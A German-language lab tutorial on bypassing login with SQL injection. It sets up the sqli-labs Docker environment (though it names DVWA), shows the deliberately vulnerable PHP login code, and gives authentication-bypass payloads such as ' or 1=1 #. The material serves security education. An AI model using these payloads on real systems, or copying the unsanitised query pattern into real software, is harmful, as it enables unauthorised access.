Ausnutzen von SQL-Injection zur Umgehung der Authentifizierung
In diesem Lab werden wir tiefer in die SQL-Injection-Schwachstellen eintauchen. Unser Fokus liegt darauf, wie man diese Schwachstellen ausnutzen kann, um die Anmeldeauthentifizierung zu umgehen, eine Technik, die oft als "Universelles Passwort"-Angriff bezeichnet wird.
Vorbereitung der Lab-Umgebung
Um loszulegen, müssen wir unsere Lab-Umgebung vorbereiten. Wir werden die Damn Vulnerable Web Application (DVWA) verwenden - eine PHP/MySQL-Webanwendung, die absichtlich unsicher gestaltet wurde und somit ein ideales Lernwerkzeug für das Verständnis der Sicherheit von Webanwendungen ist.
-
Download des sqli-labs Docker-Images: Das sqli-labs Docker-Image kann auf Docker Hub heruntergeladen werden. Verwenden Sie den folgenden Befehl in Ihrem Terminal, um es herunterzuladen:
docker pull acgpiano/sqli-labs
-
Starten des sqli-labs Docker-Containers: Nach dem Herunterladen des Images starten Sie es mit dem folgenden Befehl:
docker run -it -d --name sqli-labs -p 80:80 -p 13306:3306 acgpiano/sqli-labs
Dieser Befehl startet einen neuen Container und bildet Port 80 und 3306 im Container auf Port 80 und 13306 auf Ihrem Host-Rechner ab.
Indem Sie diese Schritte befolgen, haben Sie die erforderliche Lab-Umgebung erfolgreich eingerichtet.
Nachdem die Einrichtung abgeschlossen ist, öffnen Sie Firefox und geben Sie http://localhost
in die Adressleiste ein.
Wenn Sie http://localhost
zum ersten Mal besuchen, klicken Sie bitte auf Setup/reset Database for lab
, um das Lab vorzubereiten, und aktualisieren Sie dann die Webseite.
Identifizieren von SQL-Injection
Wenn Sie auf Less-11 klicken, sollten Sie jetzt eine einfache Anmeldeseite sehen. Versuchen Sie, einen beliebigen Benutzernamen 123
und ein Passwort 123
einzugeben.
Die Fehlerseite wird Sie informieren: "Ungültiger Benutzername oder Passwort."
Entziffern des Backend-Codes
Schauen wir uns den Backend-Code an, der für den Authentifizierungsprozess verantwortlich ist:
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
....
}
Die tatsächliche SQL-Abfrage, die ausgeführt wird, lautet:
SELECT * FROM users WHERE username='123' AND password='123' LIMIT 0,1
Diese Abfrage ist einfach zu verstehen: Wenn sie eine Zeile zurückgibt, in der sowohl der username
als auch das password
übereinstimmen, ist die Anmeldung erfolgreich.
Ausnutzen der Schwachstelle
Basierend auf den Kenntnissen aus dem vorherigen Lab versuchen wir, die folgende Payload einzugeben:
Benutzername: 123' or 1=1 #
Passwort: 123' or 1=1 #
Interessanterweise können wir uns damit erfolgreich anmelden! Der Grund dafür ist, dass die tatsächliche SQL-Abfrage, die ausgeführt wird, lautet:
SELECT * FROM users WHERE username='123' or 1=1 #' AND password='123' or 1=1 #'
In MySQL wird das #
-Symbol verwendet, um den Rest der Zeile auszukommentieren, sodass die Abfrage effektiv wird:
SELECT * FROM users WHERE username='123' or 1=1
Da die Bedingung or 1=1
immer wahr ist, wird die Abfrage immer ein Ergebnis zurückgeben, was zu einer erfolgreichen Anmeldung führt.
Wir können auch mit einer Variation experimentieren, die das Kommentarsymbol nicht verwendet:
Benutzername: 123' or '1'='1
Passwort: 123' or '1'='1
Die SQL-Abfrage, die dann ausgeführt wird, lautet:
SELECT * FROM users WHERE username='123' or '1'='1' AND password='123' or '1'='1'
In diesem Fall stellen die beiden or
-Bedingungen sicher, dass die and
-Bedingung zwischen ihnen immer wahr ist, was zu einer erfolgreichen Anmeldung führt.
Fazit
Wie oben gezeigt, gibt es zahlreiche Techniken, mit denen man SQL-Injection-Schwachstellen ausnutzen und die Authentifizierung umgehen kann. Fühlen Sie sich frei, verschiedene Payloads zu erkunden und zu experimentieren. Das Ziel hierbei ist es, diese Schwachstellen zu verstehen, damit Sie Ihre eigenen Anwendungen besser vor ihnen schützen können. Happy ethisches Hacking!